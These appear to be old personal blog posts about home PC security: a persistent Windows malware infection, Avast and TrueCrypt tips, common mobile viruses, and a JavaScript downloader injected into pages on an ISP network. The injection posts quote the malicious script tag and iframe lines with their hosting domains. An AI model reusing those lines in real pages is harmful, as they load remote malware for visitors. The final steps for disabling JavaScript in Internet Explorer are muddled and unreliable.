Web Trac

Profilew.exe and rdpua.exe virus or what??

Everything was going very smooth until I got the another virus. I didn’t find two much information regarding this on google or anywhere.

Yesterday, Avast gave me warning twice regarding this virus at time of booting my PC yesterday. I followed the steps to remove it but it’s not deleting completely. When ever I starts my computer I see two MS Dos screens appears and disappears. They are creating these two files each time restart computer:

C:\Documents and Settings\USERNAME\Local Settings\Temp\profilew.exe
and
C:\Documents and Settings\USERNAME\Local Settings\Temp\rdpua.exe virus

Now Avast don’t give any warning.. (Even if i run Complete scan).. But these two files are coming back even after deleting..

If anyone can help me to remove this then please let me know..

How to configure MSN Messenger with Avast Antivirus

If Avast antivirus is installed after installing MSN/Windows Live Messenger then you have to setup messenger manually so that it can scan all files transferred via the messenger. Here is how it can be done..

1. Open Messengers ‘Options’ window ( Messenger Main menu > Tools > Options.. )

2. Click on ‘File Transfer’ Tab.
3. Select “Scan files for viruses using” check box and enter path of ‘ashQuick.exe’ file. In my case it is..
“C:\Program Files\Alwil Software\Avast4\ashQuick.exe”

4. Click on apply and then ok.
5. done.

How to lock or secure pen drive

Sometimes we store data on pen drive that we do not want to share with our family, friends or colleague. But most of people do not care about pen drives too much. They just leave it here and there. But we forget that data stored on pen drive can easily be seen by anyone. We must use some software to lock/encrypt or make pen drives password protected.

Here is good a and free software that can do it: http://www.TrueCrypt.org

How it works??

TrueCrypt is a software system for establishing and maintaining an on-the-fly-encrypted volume (data storage device). On-the-fly encryption means that data are automatically encrypted or decrypted right before they are loaded or saved, without any user intervention. No data stored on an encrypted volume can be read (decrypted) without using the correct password/keyfile(s) or correct encryption keys. Entire file system is encrypted (e.g., file names, folder names, contents of every file, free space, meta data, etc).

Let’s suppose that there is an .avi video file stored on a TrueCrypt volume (therefore, the video file is entirely encrypted). The user provides the correct password (and/or keyfile) and mounts (opens) the TrueCrypt volume. When the user double clicks the icon of the video file, the operating system launches the application associated with the file type – typically a media player. The media player then begins loading a small initial portion of the video file from the TrueCrypt-encrypted volume to RAM (memory) in order to play it. While the portion is being loaded, TrueCrypt is automatically decrypting it (in RAM). The decrypted portion of the video (stored in RAM) is then played by the media player. While this portion is being played, the media player begins loading next small portion of the video file from the TrueCrypt-encrypted volume to RAM (memory) and the process repeats. This process is called on-the-fly encryption/decryption and it works for all file types, not only for video files.

Mobile viruses that can infect you cell phone

If you are thinking that it’s just you PC that can have viruses, then you may be wrong. Just like Your PC or your lappy, your cell phone may also get infected with viruses.

Here is few common mobile viruses:

Cabir: Infects mobile phones running on Symbian OS. When a phone is infected, the message ‘Caribe’ is displayed on the phone’s display and is displayed every time the phone is turned on. The worm then attempts to spread to other phones in the area using wireless Bluetooth signals.

Duts: A parasitic file infector virus and is the first known virus for the PocketPC platform. It attempts to infect all EXE files in the current directory (infects files that are bigger than 4096 bytes)

Skulls: A trojan horse piece of code. Once downloaded, the virus, called Skulls, replaces all phone desktop icons with images of a skull. It also renders all phone applications, including SMSes and MMSes useless

Commwarrior: First worm to use MMS messages in order to spread to other devices. Can spread through Bluetooth too. It infects devices running under OS Symbian Series 60. The executable worm file once launched hunts for accessible Bluetooth devices and sends the infected files under a random name to various devices.

Source: http://en.wikipedia.org/wiki/Mobile_virus

hk.www404.cn:53/ads.js

This JS/Downloader.Agent virus is keep changing it’s location.

Now source code of every web page show these lines at the top of page.

<script src=”xx http://hk.www404.cn:53/ads.js xx ” language=”javascript”></script> [ xx added intently don't visit this linke.]

If your network is also facing the same problem then then best suggestion that change your ISP. In fact this the only solution of this problem.

If you can’t change your ISP then at least do not use Internet Explorer. If you are using Internet Explorer 6 or older version then chances of getting infected is high.

I always use FireFox, Because it is faster and secure. You can download it from following link:

UPDATE:
Latest injected code is:
iframe src=’http://net.jopppqq.com/ad/vip.htm’ width=100 height=1, so now the virus is hosted on jopppqq.com.

g.asdafdgfgf.com is now u.asdafdgfgf.com

Every thing was ok in last month, but since last few days JS/Downloader.Agent virus is back again. Seems our network have still some infected computer or they are infected again.
This time this virus has changed it’s location from g.asdafdgfgf to u.asdafdgfgf.com.

While our cable operator is trying to find the machine which is infected with the virus I’m trying a trick which is working for me. Well it’s simple: just turned of Javascript option. It’s working for me. I’m using FireFox browser Avast antivirus (4.8 Home edition).

Here is how you can disable JavaScript in FireFox:
Tools =>option and then click on “Content” tab. Now uncheck Enable JavaScript.

Disable JavaScript in IE 7.x, 6.x, and 5.x

1. Open Internet Explorer.
2. Select Internet Options from the Tools menu.
3. In Internet Options dialog box select the Security tab.
4. Click Custom level button at bottom right. The Security settings dialog box will pop up.
5. Under Scripting category check Active Scripting, Allow paste options via script and Scripting of Java applets
6. Check radio boxes.
7. Click OK twice to close out.